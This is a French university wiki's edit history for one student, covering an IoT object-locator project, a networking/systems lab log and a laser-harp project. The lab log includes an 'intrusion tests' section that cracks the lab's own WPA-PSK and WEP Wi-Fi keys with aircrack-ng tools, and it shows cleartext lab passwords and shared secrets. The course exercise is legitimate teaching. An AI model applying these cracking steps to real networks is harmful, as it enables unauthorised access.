Wiki d'activités IMA - Contributions de l’utilisateur [fr]

P6 IOT 2018

2019-01-14T15:35:18Z

Bcartier : /* Séance 4 */

==Cahier des charges==

===Présentation générale du projet===

====Contexte====
Dans le cadre du module transversal Internet des Objets (IOT), nous devons réaliser un objet connecté correspondant à une problématique du quotidien.

La recherche d'objets importants égarés est fatiguante pour une personne malvoyante. Une aide à la réalisation d'une telle tâche augmenterait grandement la qualité de vie de ces personnes.

====Objectif du projet====
L'objectif du projet est de concevoir un système connecté permettant la localisation d'objets importants pour une personne malvoyante ne pouvant pas facilement les rechercher.

Ce système doit être simple d'utilisation et adapté.

====Description du projet====
Le système se décompose en 3 parties :
* Une station de base
* Une aide mobile/un radar
* L'objet à retrouver

La station de base et l'objet, pour commencer un téléphone, doivent être connectés au même réseau WiFi.

La station de base, suite à une action mécanique, envoie un message à l'objet pour lui indiquer d'émettre un son pour la personne et un signal pour le radar.

Le radar capte le signal du téléphone et permet de donner des informations sur la localisation de l'objet.

Le téléphone cessera d'émettre suite à une action mécanique sur la Station de base seulement si le radar est replacé sur la Station.

====Choix techniques====
La station de base sera composée d'un Raspberry Pi et d'un actionneur (gros bouton rouge). Le raspberry aura un module WiFi afin de se connecter à la box du logement.

Le radar sera composé d'un rapsberry, d'une batterie et d'un ou plusieurs vibreurs.

L'objet à retrouver (le téléphone) doit pouvoir faire fonctionner une application mobile et comporter une sortie audio.

Toutes les communications se feront via le Wifi.

La localisation du téléphone sera faite de plusieurs façons simultanées :
* Signal sonore pour la personne
* Message Wifi pour le radar

Le radar pourrait déterminer la position du téléphone de plusieurs manières :
* Localisation par puissance du signal reçu, tel un jeu "Chaud/Froid"
* Localisation par trilatéralisation

Les échanges entre le radar et le téléphone peuvent être faits de plusieurs manières :
* Le radar écoute toutes les communications Wifi et cherche sur le réseau du logement les messages du téléphone à destination de la box.
* Le radar crée son propre réseau Wifi, et l'application sur le téléphone force ce dernier à se connecter au réseau nouvellement créé.

L'application sera développée exclusivement pour un support Android.

====Matériel nécessaire====

* 2 Raspberry Pi avec WiFi
* 1 vibreur
* 1 bouton/interrupteur
* 1 batterie
* 1 cable d'alimentation pour Raspberry
* 1 téléphone sous android

==Étapes du projet==
*Paramétrage des Raspbarry Pi
*Programmation de la Station
*Développement de l'application sur téléphone
*Programmation du Radar
*Tests

==Suivi de l'avancement du Projet==

===Séance 1===
*Choix d'un sujet
*Définition du cahier des charges
*Schématisation du système
*Etablissement des matériels nécessaires

===Séance 2===
*Mise en route des Raspberry Pi
*Résolution de problèmes de réseau
*Recherches sur le type de codage nécessaire pour chaque partie

===Séance 3===
*Codage de la station pour l'envoi d'un message en cas d'appui par l'utilisateur sur un bouton raccordé à la Station
*Mise en place d'un réseau internet [Echec, passage sur un cisco]
*Création de l'application mobile pour la communication entre la Station et le Téléphone

===Séance 4===
*Modification du code de la Station
====Mise en place du réseau Cisco====
Configuration du router Cisco :
enable
conf t
int bvi1
ip address 192.168.145.1 255.255.255.0
end

conf t
ip dhcp excluded-address 192.168.145.1
ip dhcp pool IoT
network 192.168.145.0 255.255.255.0
lease 10
default-router 192.168.145.1
end

conf t
dot11 ssid IoT2019
authentication open
guest-mode
end

conf t
int dot11radio0
ssid IoT2019
no shutdown
end

==Poster==

P6 IOT 2018

2019-01-07T17:47:57Z

Bcartier : /* Choix techniques */

==Cahier des charges==

===Présentation générale du projet===

====Contexte====
Dans le cadre du module transversal Internet des Objets (IOT), nous devons réaliser un objet connecté correspondant à une problématique du quotidien.

La recherche d'objets importants égérés est fatiguante pour une personne malvoyante. Une aide à la réalisation une telle tâche augmenterait grandement la qualité de vie de ces personnes.

====Objectif du projet====
L'objectif du projet est de concevoir un système connecté permettant la localisation d'objets importants pour une personne malvoyante ne pouvant pas facilement les rechercher.

Ce système doit être simple d'utilisation et adapté.

====Description du projet====
Le système se décompose en 3 parties :
* une station de base
* une aide mobile/un radar
* l'objet à retrouver

La station de base et l'objet, pour commencer un téléphone, doivent être connectés au même réseau WiFi.

La station de base, suite à une action mécanique, envoie un message à l'objet pour lui indiquer d'émettre un son pour la personne et un signal pour le radar.

Le radar capte le signal du téléphone et permet de donner des informations sur la localisation de l'objet.

Le téléphone cessera d'émettre suite à une action mécanique sur la Station de base seulement si le radar est replacé sur la Station.

====Choix techniques====
La station de base sera composée d'un Raspberry Pi et d'un actionneur (gros bouton rouge). Le raspberry aura un module WiFi afin de se connecter à la box du logement.

Le radar sera composé d'un rapsberry, d'une batterie et d'un ou plusieurs vibreurs.

L'objet à retrouver (le téléphone) doit pouvoir faire fonctionner une application mobile et comporter une sortie audio.

Toutes les communications se feront via le Wifi.

La localisation du téléphone sera faite de plusieurs façons simultanées :
* Signal sonore pour la personne
* Message Wifi pour le radar

Le radar pourrait déterminer la position du téléphone de plusieurs manières :
* Localisation par puissance du signal reçu, style jeu "Chaud/Froid"
* Localisation par trilatéralisation

Les échanges entre le radar et le téléphone peuvent être faits de plusieurs manières :
* Le radar écoute toutes les communications wifi et cherche sur le réseau wifi du logement les messages du téléphone à destination de la box.
* Le radar crée son propore réseau wifi, et l'application sur le téléphone force ce dernier à se connecter au réseau nouvellement créé.

L'application sera développée exclusivement pour un support Android.

====Matériel nécessaire====

* 2 Raspberry Pi avec WiFi
* 1 vibreur
* 1 bouton/interrupteur
* 1 batterie
* 1 cable d'alimentation pour Raspberry
* 1 téléphone sous android

==Étapes du projet==

==Suivi de l'avancement du Projet==

===Séance 1===

P6 IOT 2018

2019-01-07T17:40:17Z

Bcartier : /* Contexte */

P6 IOT 2018

2019-01-07T17:33:46Z

Bcartier : /* Choix techniques */

==Cahier des charges==

===Présentation générale du projet===

====Contexte====

====Objectif du projet====
L'objectif du projet est de concevoir un système connecté permettant la localisation d'objets importants pour une personne malvoyante ne pouvant pas facilement les rechercher.

Ce système doit être simple d'utilisation et adapté.

====Description du projet====
Le système se décompose en 3 parties :
* une station de base
* une aide mobile/un radar
* l'objet à retrouver

La station de base et l'objet, pour commencer un téléphone, doivent être connectés au même réseau WiFi.

La station de base, suite à une action mécanique, envoie un message à l'objet pour lui indiquer d'émettre un son pour la personne et un signal pour le radar.

Le radar capte le signal du téléphone et permet de donner des informations sur la localisation de l'objet.

Le téléphone cessera d'émettre suite à une action mécanique sur la Station de base seulement si le radar est replacé sur la Station.

====Choix techniques====
La station de base sera composée d'un Raspberry Pi et d'un actionneur (gros bouton rouge). Le raspberry aura un module WiFi afin de se connecter à la box du logement.

Le radar sera composé d'un rapsberry, d'une batterie et d'un ou plusieurs vibreurs.

L'objet à retrouver (le téléphone) doit pouvoir faire fonctionner une application mobile et comporter une sortie audio.

Toutes les communications se feront via le Wifi.

La localisation du téléphone sera faite de plusieurs façons simultanées :
* Signal sonore pour la personne
* Message Wifi pour le radar

Le radar pourrait déterminer la position du téléphone de plusieurs manières :
* Localisation par puissance du signal reçu, style jeu "Chaud/Froid"
* Localisation par trilatéralisation

Les échanges entre le radar et le téléphone peuvent être faits de plusieurs manières :
* Le radar écoute toutes les communications wifi et cherche sur le réseau wifi du logement les messages du téléphone à destination de la box.
* Le radar crée son propore réseau wifi, et l'application sur le téléphone force ce dernier à se connecter au réseau nouvellement créé.

L'application sera développée exclusivement pour un support Android.

==Étapes du projet==

==Suivi de l'avancement du Projet==

===Séance 1===

P6 IOT 2018

2019-01-07T17:14:05Z

Bcartier : /* Description du projet */

P6 IOT 2018

2019-01-07T16:52:31Z

Bcartier : /* Objectif du projet */

P6 IOT 2018

2019-01-07T16:43:33Z

Bcartier : Page créée avec « ==Cahier des charges== ===Présentation générale du projet=== ====Contexte==== ====Objectif du projet==== ====Description du projet==== ====Choix techniques==== ==... »

==Cahier des charges==

===Présentation générale du projet===

====Contexte====

====Objectif du projet====

====Description du projet====

====Choix techniques====

==Étapes du projet==

==Suivi de l'avancement du Projet==

===Séance 1===

Option Internet des objets 2018/2019

2019-01-07T16:41:37Z

Bcartier :

= Répartition des binômes =

Ecrivez vos noms sous le format exact "Prénom Nom", séparez vos noms par des virgules. Modifiez aussi l'intitulé de votre projet.

{| class="wikitable"
! Projet !! Elèves
|-
| [[Poubelle connectée]] || Raphael Morin, Brahim Ahammou
|-
| [[Cadenas connecté|Cadenas connecté]] || Tony Jongmanee, Walid Ziyate
|-
| [[P3_IOT_2018|Rideau connecté]] || Lijie YAO, Ji YANG
|-
| [[P4_IOT_2018|Timer connecté]] || Naif Mehanna, Maxime Créteur, Amine El Messaoudi
|-
| [[P5_IOT_2018| Noeud papillon connecté]] || Moustafa THIAM, Nicolas HAVARD
|-
| [[P6_IOT_2018|Localisation pour Malvoyant ]] || Quentin Hochart, Baptiste Cartier
|-
| [[P7_IOT_2018|Sujet 7]] || Prénom Nom, Prénom Nom
|-
|}

TP sysres IMA5sc 2018/2019 G1

2018-12-20T14:30:39Z

Bcartier : /* Cassage de mot de passe WPA-PSK par force brute */

==Séance 1==

===Creation conteneur Unshare===

export proxy ...
dd if=/dev/zero of= bs=1024k count=10240
mkfs Partition
umount Partition
mount Partition /tmp/pointd'acancrage
debootstrap stable --include=vim,apache2

unshare -p -f -m -u -n chroot /tmp/fs[1-3] /bin/sh -c "mount /proc ; /bin/bash" ;

===Configuration switch virtuelle===

Création de deux interfaces liées :

ip link add vif1 type veth peer name eth0@vif1
ip link add vif2 type veth peer name eth0@vif2
ip link add vif3 type veth peer name eth0@vif3
ip link add vif4 type veth peer name eth1@vif4

Déplacement du pair dans un espace réseau différent :

ip link set eth0@vif1 netns /proc/14601/ns/net name eth0
ip link set eth0@vif2 netns /proc/14612/ns/net name eth0
ip link set eth0@vif3 netns /proc/14620/ns/net name eth0
ip link set eth1@vif4 netns /proc/14620/ns/net name eth1

Configuration réseau dans l’espace alternatif :

nsenter -t 14601 -n ip address add dev eth0 192.168.0.101/24
nsenter -t 14620 -n ip address add dev eth1 172.26.145.243/24
nsenter -t 14612 -n ip address add dev eth0 192.168.0.102/24
nsenter -t 14620 -n ip address add dev eth0 192.168.0.103/24

Routage sur routeur depuis Proxy Inverse:

ip route add default via 172.26.145.254 dev eth1

brctl show:

bridge name bridge id STP enabled interfaces
br-50de43cf6b72 8000.024270463a85 no
br-9964383bb7d2 8000.0242c526b998 no
bridge 8000.00224d7af070 no eth0 eth1 vif4
docker0 8000.0242e82e829c no veth5fcd2d1
vSwitchBanane 8000.3299e99137df no vif1 vif2 vif3

Activation:

ip link set vif1,2,3,4 up
ip link set vSwtichBanane up
ip link set vif4 master bridge

Flush docker:

iptables -F
iptables -F -t nat
iptables -P FORWARD ACCEPT

Ping reverse proxy vers conteneur2:

root@zabeth08:/# ping 192.168.0.102
PING 192.168.0.102 (192.168.0.102) 56(84) bytes of data.
64 bytes from 192.168.0.102: icmp_seq=19 ttl=64 time=1024 ms
64 bytes from 192.168.0.102: icmp_seq=20 ttl=64 time=0.110 ms
64 bytes from 192.168.0.102: icmp_seq=21 ttl=64 time=0.056 ms

===Config Reverse Proxy===

Import proxy & http_proxy libraries:

a2nmod proxy_http proxy

Dans site-available/000-config.conf:

ProxyPass /site1 http://192.168.0.101/
ProxyPassReverse /site1 http://192.168.0.101/
ProxyPass /site2 http://192.168.0.102/
ProxyPassReverse /site2 http://192.168.0.102/
ProxyRequests Off

DNS A Record sur gandi.net:

Domain > DNS Record > Type A - Name DC - TTL 1800 - Adress 172.26.145.243

10H15 => Serveurs Web OK

===Installation et configuration Docker===

docker create -t -i debian bash
docker run -i --network=reseau_docker -t reverse-proxy:version1
docker commit 85b84891f0ac reverse-proxy:version1
docker run -p 80:80 -i --network=reseau_docker -t reverse-proxy:version1 -> reverse proxy

10h20 Serveurs Web (docker) OK

==Séance 2==

===Configuration des bornes Wifi===

====Tests sur des AP non sécurisés====

On commence dans un premier temps par mettre un point d'accès non sécurisé pour tester la mise en place de plusieurs AP simultanément:

Création d'un AP de SSID '''test1''':

Enable
Conf t
Dot11 ssid test1
Vlan 10
Authentication open
Mbssid Guest-mode
End

Création d'un AP de SSID '''test2''':

Enable
Conf t
Dot11 ssid test2
Vlan 20
Authentication open
Mbssid Guest-mode
End

On relie les SSID à l'interface wifi '''dot11Radio0''':

Enable
Conf t
int dot11radio0
Mbssid // permet d'avoir plusieur SSID en guest-mode
ssid test1
ssid test2

Encapsulation des vlans dans l'interface '''dot11radio0''':

Enable
Conf t
int dot11radio0.10
encapsulation dot1Q 10

Enable
Conf t
int dot11radio0.20
encapsulation dot1Q 20

====Sécurisation des AP en WPA2-EAP====

Nous avons commencé durant cette séance à tester la sécurisation des AP en WPA2-EAP

Enable
Conf t
dot11 ssid <nom_ssid>
authentication network-eap eap_methods
authentication key-management wpa

Enable
Conf t
int dot11radio0
encryption vlan 10 mode ciphers tkip
encryption vlan 20 mode ciphers tkip

===Création VM===

Creation Vm:

xen-create-image --hostname=thot \
--memory=256mb \
--vcpus=1 \
--dir=/usr/local/xen \
--ip=193.48.57.177 \
--netmask=255.255.255.240 \
--dist=stable \
--size=10Gb \
--swap=128mb

ps: 7Jb7J8tqfRrPGe6S2RHJJb4

==Séance 3==

===Mise en place d'un serveur freeradius===

'''Installation:'''

apt-get install freeradius

'''Configuration:'''

Création d'un utilisateur thot:glopglop

# Dans le fichier /etc/freeradius/3.0/users:
thot Cleartext-Password := "glopglop"

Configuration de freeradius PEAP-MSCHAPv2:

# fichier /etc/freeradius/3.0/mods-enabled/eap.conf:
default_eap_type = peap

# fichier /etc/freeradius/mods-enabled/mschap
use_mppe = yes
require_encryption = yes
require_strong = yes
with_ntdomain_hack = yes

On recharge les librairies grâce à la commande suivante:

ldconfig

On configure la borne WiFi pour lui donner une adresse IP ainsi qu'une route par défaut:

enable
conf t
int bvi1
ip address 192.168.0.10 255.255.255.0
end

enable
conf t
ip default-gateway 192.168.0.254
end

On ajoute le client, c'est à dire le point d'accès, dans le fichier clients de freeradius:

client 192.168.0.10/32
{
secret = secretIMA5SC
shortname = borneDivinite
}

===Sécurisation Wifi par WPA2-EAP===

On poursuit ensuite la mise en places des AP en configurant reliant la borne pour qu'elle puisse envoyer des requêtes au serveur freeradius de chaque binomes lors d'une authentification:

'''Les méthodes suivantes sont données à titre d'exemple pour la VM thot et devront être reproduite pour chaque AP:'''

Activation de la fonction 'aaa' et Création des entitées radius_goup (donnant des infos sur le serveur freeradius) et eap_group (liste contenant les méthodes d'authentification, ici eap) pour chaque binômes:

enable
conf t
aaa new-model
aaa authentication login eap_group11 group radius_group11
aaa group server radius radius_group11
server 193.48.57.177 auth-port 1812 acct-port 1813
radius-server host 193.48.57.177 auth-port 1812 acct-port 1813 key secretIMA5SC
end

Mise en place du ssid 'thot' et intégration dans la vlan 11:

enable
conf t
dot11 ssid Thot
vlan 11
authentication open eap eap_group11
authentication network-eap eap_group11
authentication key-management wpa
Mbssid Guest-mode
end

Liaison interface wifi dot11radio0 avec la vlan et méthode encryption:

Enable
Conf t
int dot11radio0
Mbssid
ssid Thot
encryption vlan 11 mode ciphers aes-ccm tkip

Encapsulation:

Enable
Conf t
int dot11radio0.11
encapsulation dot1Q 11
end

===Configuration du serveur DNS sur notre VM===

====Configuration de Bind9====

Nous avons installé les paquets <code>bind9</code> et <code>apache2</code>c afin de mettre en place notre serveur DNS et notre serveur web. Nous avons ensuite modifié la page <code>index.html</code> situé dans le répertoire
/var/www/html/
avec un extrait de la page Wikipedia à propos du dieu Thot.

Nous avons acheté le nom de domaine <code>thotplil.space</code> sur le site <code>gandi.net</code>.

Nous avons ensuite configuré <code>bind</code> en créant le fichier <code>db.thotplil.space</code> dans le dossier <code>/etc/bind/</code>
@ IN SOA ns.thotplil.space. root.thotplil.space (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;

IN NS ns.thotplil.space.
IN NS ns6.gandi.net.
@ IN A 193.48.57.177
ns IN A 193.48.57.177
www IN A 193.48.57.177

Nous avons spécifié la zone dans le fichier <code>named.conf.local</code>:

zone "thotplil.space" {
type master;
file "/etc/bind/db.thotplil.space";
allow-transfer {217.70.177.40;};
notify no;
};

====Configuration Gandi.net====

Nous sommes allez sur <code>gandi.net --> Domains --> Glue Record</code> pour y ajouter notre espace de nom (namespace) <code>thotplil.space</code> et notre IP.

Nous avons ajouté sur gandi notre DNS principal et notre DNS secondaire dans <code>gandi.net --> Domains --> Nameservers</code> avec :
*DNS1 : ns.thotplil.space
*DNS2 : ns6.gandi.net

====Sécurisation de notre serveur web par certificat SSL====

Nous avons commencé par générer un certificate request grâce à la commande suivante:

openssl req -nodes -newkey rsa:2048 -sha1 -keyout thotplil.space.key -out thotplil.space.csr

Nous avons ensuite acheté sur gandi.net un certificat SSL en indiquant le code généré et placé le fichier obtenu dans le répertoire suivant: <code>/var/www/html/.well-known/pki-validation</code>.

Le certificat ainsi que le fichier .pem sont ensuite téléchargé et placé dans le répertoire suivant: <code>/etc/ssl/certs</code>.
Le fichier .key précédemment généré se place quant à lui dans le répertoire <code>/etc/ssl/private</code>

On créer un fichier de configuration <code>/etc/apache2/sites-available/000-thotplil.space-ssl.conf</code>:

<VirtualHost 193.48.57.177:443>
ServerName www.thotplil.space
ServerAlias thotplil.space
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined
SSLEngine on
SSLCertificateFile /etc/ssl/certs/thotplil.space.crt
SSLCertificateKeyFile /etc/ssl/private/thotplil.space.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

<VirtualHost 193.48.57.182:80>
ServerName www.thotplil.space
ServerAlias thotplil.space
Redirect / https://thotplil.space
</VirtualHost>

On active la configuration du site:

a2enmod ssl
a2ensite 000-thotplil.space-ssl.conf
service apache2 restart

Connexion au site en https:

[[Fichier:Https.png]]

====Mise en place du DNSSEC====

Modification dans le fichier <code>named.conf.options</code>:

dnssec-validation auto;
dnssec-enable yes;

On génère ensuite deux paires de clés ZSK et KSK:

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE thotplil.space
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE thotplil.space

On inclut ensuite les clés dans le fichier <code>/etc/bind/db.thotplil.space</code>:

$include /etc/bind/thotplil.space.dnssec/thotplil.space-ksk.key
$include /etc/bind/thotplil.space.dnssec/thotplil.space-zsk.key

On prend soin de mettre <code>$TTL 604800</code> au début du fichier.

On signe enfin la zone avec les clés ZSK et KSK:

dnssec-signzone -o thotplil.space -k thotplil.space-ksk ../db.thotplil.space thot.space-zsk

On renseigne ensuite les clés signé sur gandi.net -> Domains -> thotplil.space -> DNSSEC

===Tests d’intrusion===

Dans cette section nous allons tester différentes méthodes de sécurisations

====Cassage de mot de passe WPA-PSK par force brute====

Nous avons utilisé les outils du paquetage '''aircrack-ng''' pour capturer des paquets d'identifications.

Notre point d'accès est '''cracotte01'''.

Il faut tout d'abord mettre la carte réseau wifi de notre machine de travail en mode écoute, cela est fait grâce à la commande :
airmon-ng start wlp2s0
avec wlp2s0 le nom de l'interface réseau wifi de notre machine.

Cela "supprime" notre interface wlp2s0 et en créé une autre nommé wlp2s0mon.

En utilisant la commande
airodump-ng wlp2s0mon

on trouve l'adresse MAC de notre point d'accès cracotte01 :

<importimage>

On capture ensuite les paquets de handshake voulu grâce à la commande
airodump-ng wlp2s0mon --channel 9 --bssid 04:DA:D:9C:50:50 --write capture

Une fois le paquet capturé, on peut attaquer grâce à un simple brute force par dictionnaire.

On suppose que la clé est composé de 8 chiffres, on créé donc un document dico.txt contenant toutes les combinaisons de 8 chiffres possibles.

On lance ensuite la commande
aircrack-ng capture.cap -w dico.txt

On obtient finalement le résultat suivant:

Time left: 2 hours, 5 minutes, 55 seconds 41.28%

KEY FOUND! [ 42429901 ]

Master Key : 11 6A 5E CD 2B 05 7B 1E 5A 3D A0 35 83 6E 25 28
00 82 6D 3D 4F E7 13 ED 90 67 1C ED 8D 49 EC 6B

Transient Key : B6 52 3A 23 86 D0 32 90 BD 95 E4 E8 ED B6 0F 3C
D7 7A 7D 3A D9 07 AB 0F BE 97 59 F3 81 9E B9 E8
0F 5D 8B 27 1B DA 39 FC E9 2F 82 B2 61 D3 C2 CE
85 02 D9 25 3C E1 BB 7A 58 18 7E 26 EC F3 25 F5

EAPOL HMAC : 38 E3 C5 40 0F 0F 52 23 BD 8D 12 A8 32 3E 14 B7

===Cassage de mot de passe WEP===

Le cassage de clé WEP s'effectue d'une manière similaire.
On capture les paquets grâce à la commande suivante :

sudo airodump-ng --bssid 04:DA:D2:9C:50:50 --ch 12 --write wepcassage wlp2s0mon

On simule des paquets d'authentifications avec la commandes

sudo aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:50 wlp2s0mon

On vérifie que l'on areçu des données avec

sudo aireplay-ng --fragment -b 04:DA:D2:9C:50:50 -r wepcassage-04.cap wlp2s0mon

Si des données on été capturés, on peut casser la clé très rapidement avec

sudo aircrack-ng wepcassage-04.cap

On obtient le résulat suivant :

[00:00:00] Tested 577 keys (got 40557 IVs)

KB depth byte(vote)
0 1/ 2 3F(50944) BF(48128) 2F(47360) DB(47104) 22(46848) 74(46848) 99(46848)
1 8/ 1 09(46336) 2F(46080) 36(45824) 5C(45824) BC(45824) 2D(45056) 5D(45056)
2 3/ 2 DD(48128) 03(46592) 2A(46336) 7E(46336) 34(45824) 68(45824) 0E(45568)
3 1/ 4 C2(49408) 62(47616) 96(47616) A7(47360) 4C(47104) FD(46592) 40(46336)
4 2/ 7 87(48128) 8E(47872) 9D(47872) AB(47872) 88(47616) 7F(47360) 15(47104)

KEY FOUND! [ EE:EE:EE:EE:EE:EE:EE:EE:E4:44:44:44:44 ]
Decrypted correctly: 100%

==Séance 4==

===Création des partitions virtuelles===

On commence par créer des partitions virtuelles pour les fichier /home et /var sur cordouan:

lvcreate -L10G -n thot-home virtual
lvcreate -L10G -n thot-var virtual

On créé ensuite les partitions pour le RAID5

lvcreate -L10G -n thot-part1 virtual
lvcreate -L10G -n thot-part2 virtual
lvcreate -L10G -n thot-part3 virtual

On modifie ensuite le fichier de configuration de la VM:

disk = [
'file:/usr/local/xen/domains/thot/disk.img,xvda2,w',
'file:/usr/local/xen/domains/thot/swap.img,xvda1,w',
'phy:/dev/virtual/thot-home,xvdb1,w',
'phy:/dev/virtual/thot-var,xvdc1,w',
'phy:/dev/virtual/thot-part1,xvdd1,w',
'phy:/dev/virtual/thot-part2,xvde1,w',
'phy:/dev/virtual/thot-part3,xvdf1,w'
]

===Migration===

On entreprend ensuite de migrer les dossier /var et /home dans les partitions nouvellement créées

Sur la VM, on créer un système de fichier sur /dev/xvdb1 et /dev/xvdc1

mkfs -t ext4 /dev/xvdb1
mkfs -t ext4 /dev/xvdc1

Dans /etc/fstab, on modifie directement le point d'ancrage du fichier /home, étant donné que ce dernier est vide:

/dev/xvdb1 /home ext4 defaults 0 2

Pour migrer le var, il va être nécessaire creer un point d'ancrage temporaire:

mkdir /mnt_var
mount /dev/xvdc1 /mnt_var

On tranfère me contenu du dossier var dans la nouvelle partition:

cd /var
cp -ax * /mnt_var

On fait ensuite une backup l'ancien dossier var, et on recréer un point de montage sur la nouvelle partition:

mkdir /var
umount /dev/xvdc1
mount /dev/xvdc1 /var

Une fois cette étape terminé, on ajoute le nouveau point d'ancrage de /var dans /etc/fstab:

/dev/xvdc1 /var ext4 defaults 0 0

Enfin, on supprime les dossier /mnt_var /var.old.

===Mise en place du RAID===

Nous allons maintenant mettre en place un RAID5 logiciel avec les 3 partitons /dev/xvdd1, /dev/xvde1, et /dev/xvdf1.

On utilisera l'outil mdadm.

Création du raid5 sur /dev/md0:

mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdd1 /dev/xvde1 /dev/xvdf1

Création d'un filesystem ans la nouvelle partition raid :

mkfs -t ext4 /dev/md0

Puis on monte cette partition :

mkdir /mnt_raid5
mount /dev/md0 /raid5

On utilise la commande suivante pour automatiser la création de la grappe :

mdadm --monitor --daemonise /dev/md0

On ajoute ensuite la ligne suivante pour automatiser l'ancrage de la partition md0 sur /raid5

/dev/md0 /raid5/ ext4 defaults 0 1

TP sysres IMA5sc 2018/2019 G1

2018-12-11T15:33:34Z

Bcartier : /* Séance 3 */

TP sysres IMA5sc 2018/2019 G1

2018-12-11T15:08:48Z

Bcartier : /* Séance 3 */

Projet IMA3 P5, 2016/2017, TD1

2017-06-12T13:55:31Z

Bcartier : /* Connexion série coté RPi */

= Projet IMA3-SC 2016/2017 : Synt'Harpe (Sainte) Laser =

== Cahier des charges ==

=== Description du système ===

Pour le projet Système Communicant, nous allons réaliser une harpe laser. Notre but est de créer un instrument de musique similaire à une harpe, où les cordes sont remplacées par des capteurs infra-rouges.

Un son sera émis par l'ordinateur dès que le capteur IR captera une main et le joueur pourra avec son autre main moduler l'amplitude de la note.

Dans un premier temps, on travaillera sur une gamme de son sur 8 bits. Puis, nous implémenterons une banque de sons qui nous permettra de sélectionner l'instrument désiré, d'où l'appellation Synt'Harpe.

L'ordinateur décidera du fonctionnement ou non de la harpe. C'est aussi grâce à lui qu'on pourra choisir la banque de sons voulue.

Toutes les banques de sons seront enregistrées sur le Raspberry.
Les LEDs signaleront l'emplacement des cordes.

Pour la partie optionnelle, on remplacera les LEDs par des lasers pour un effet visuel de qualité (plus poussé). La fumée permettra de voir les lasers.

=== Le matériel ===
* Un raspberry pi
* 8 phototransistors
* 8 émetteurs lasers
* Des résistances
* Une structure
* Carte d'acquisition de type Arduino au début puis FPGA
* Un ordinateur
* Une alimentation

=== Optionnel (visuel) ===

* 8 émetteurs laser
* Un générateur de fumée
* Une caméra

== Séance 1 ==

=== Partie électronique ===
Le but de cette première séance était de se répartir les tâches, de tester le matériel mit à disposition et de découvrir le fonctionnement du FPGA.

Le principe de fonctionnement de la harpe est le suivant:
Chaque capteur sera situé en face d'un laser. Les capteurs seront dans la partie haute de la harpe afin de limiter les interférences dues à d'autres sources lumineuses. Chaque laser pointera vers un capteur.

* Ajout du dessin de la harpe *

Les capteurs enverront tous par défaut la même valeur au FPGA. Quand l'utilisateur passera sa main dans la harpe, un faisceau laser sera coupé. Le capteur n'enverra plus sa valeur seuil au FPGA, il aura donc changé d'état.
Dès lors que le FPGA détectera un changement d'état, il enverra l'état dans lequel se trouvent les 8 capteurs au Raspberry.

Nous avons réalisé des tests sur les phototransistors et les lasers. Nous avons mis en parallèle un laser et deux capteurs, sans oublier leur résistance de 1.2k Ohms chacune.

Nous avons vu que à luminosité ambiante, quand le laser pointe sur le capteur, celui-ci envoie à l'Arduino une valeur de 950 environ. Ensuite, quand le faisceau laser est coupé, la valeur envoyée par le phototransistor monte à 1020.
Puis, nous avons réitéré l'expérience en mettant le système dans une boîte. Cette fois, le valeur est passée de 840 quand le capteur est éclairé par le laser à 900 quand le faisceau est coupé.
Nous en avons déduit que nous allons devoir refaire l'expérience une fois la harpe assemblée.

Les lasers étant très directionnels tout comme les phototransistors, nous n'aurons pas de soucis d'interférences. Un capteur détectera uniquement le laser situé directement en face de lui et non ceux de son voisinage.

=== Partie boitier ===

Même si il peut paraitre futile d'insérer une partie boitier dans un projet centré sur l'informatique et l'électronique, il s'est avéré que le boitier de notre Harpe nécessitait une attention particulière.

La taille de la harpe à été un sujet de débat, et nous avons réalisé des tests afin de vérifier que des phototransistors trop proches les uns des autres n'allait pas compromettre le bon fonctionnement de la harpe dans son ensemble. En effet, si le phototransistor détectait un autre laser que celui vers lequel il pointe serait extrêmement problématique. Heureusement, il s'est avéré que les phototransistors sont très directionnels, au point que se pose désormais le problème inverse.

Nous allons devoir faire très attention au fait que les lasers soient bien fixés et pointent exactement vers les phototransistors, car dans le cas contraire, ceux-ci ne détectent absolument pas le laser, et tout le principe de fonctionnement s'effondre. La conception et l'assemblage de la boite devront donc être relativement précis, pour éviter ces problèmes.

Enfin, nous avons dès le départ décidé d'éviter l'utilisation de diodes infra-rouges, pour leur préférer les lasers. Tout d'abord, parce que les diodes ne sont en aucun cas assez puissantes pour être détectées par les phototransistors, ce qui une fois de plus rend notre harpe inutile. Ensuite, parce qu'il nous a semblé que réaliser une harpe 'laser' sans lasers était un concept déconcertant, et enlève beaucoup de l’intérêt de ce projet.

Un premier jet de design avait été réalisé avant cette séance, et au vu des données récoltées pendant celle-ci, nous l'avons modifié pour les prendre en compte, notamment la taille des lasers par rapport aux diodes, et la précision requise.

'insérer photos premiers schémas ici'

=== Partie informatique ===
Le travail a été séparé en 2 parties, une personne par partie :
- une première partie sur le serveur même (page web, système de streaming de son depuis la page web)
- une seconde partie sur la lecture du port série

==== Partie serveur ====
La première séance a été consacré à deux grands axes : prendre la main à distance sur le raspberry pi et mettre en place le serveur web.
Afin de pouvoir contrôler et travailler facilement sur le RPi, l'outil vncserver a été installé sur le raspberry, permettant de contrôler via un interface graphique le RPi depuis un ordinateur branché sur le même réseau. Cet utilitaire permettra a l'avenir de travailler directement sur le RPi sans devoir constamment uploader par ssh le travail effectué.

Coté mise en place du serveur web, l'utilitaire de serveur web apache2 a été installé sans soucis, et les pages d'exemples web et javascript fonctionnent. En revanche, l'utilisation du code d'exemple sur les sockets n'est pas utilisable, le paquet proposé n’existe pas et le site du paquet de socket est mort.
Le reste de la séance a été consacré a des recherches sur les moyens de pouvoir streamer du son, recherches non concluantes. Aucune solution n'a été trouvé sans passer par un service internet hébergé par un tier.

==== Partie lecture port série ====

Cette première séance fut consacrée à la sélection du langage de programmation et à sa prise en main. Il a été décidé d'utiliser Python pour écrire le programme récupérant et traitant les données récupérées à travers le port série. Python étant un langage fort usité, il possède une très large documentation. Ce fut donc facile de trouver la librairie permettant de lire les données envoyées par le port série.

